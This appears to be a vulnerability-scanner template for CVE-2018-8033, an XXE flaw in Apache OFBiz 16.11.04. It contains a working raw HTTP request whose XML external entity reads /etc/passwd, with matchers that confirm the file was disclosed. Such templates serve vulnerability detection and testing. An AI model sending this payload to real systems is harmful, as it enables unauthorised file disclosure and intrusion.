id: CVE-2018-8033

info:
  name: Apache OFBiz XXE
  author: pikpikcu
  severity: high
  description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04
  tags: cve,cve2018,apache,ofbiz,xxe

requests:
  - raw:
      - |
        POST /webtools/control/xmlrpc HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/xml

        <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body
      - type: status
        status:
          - 200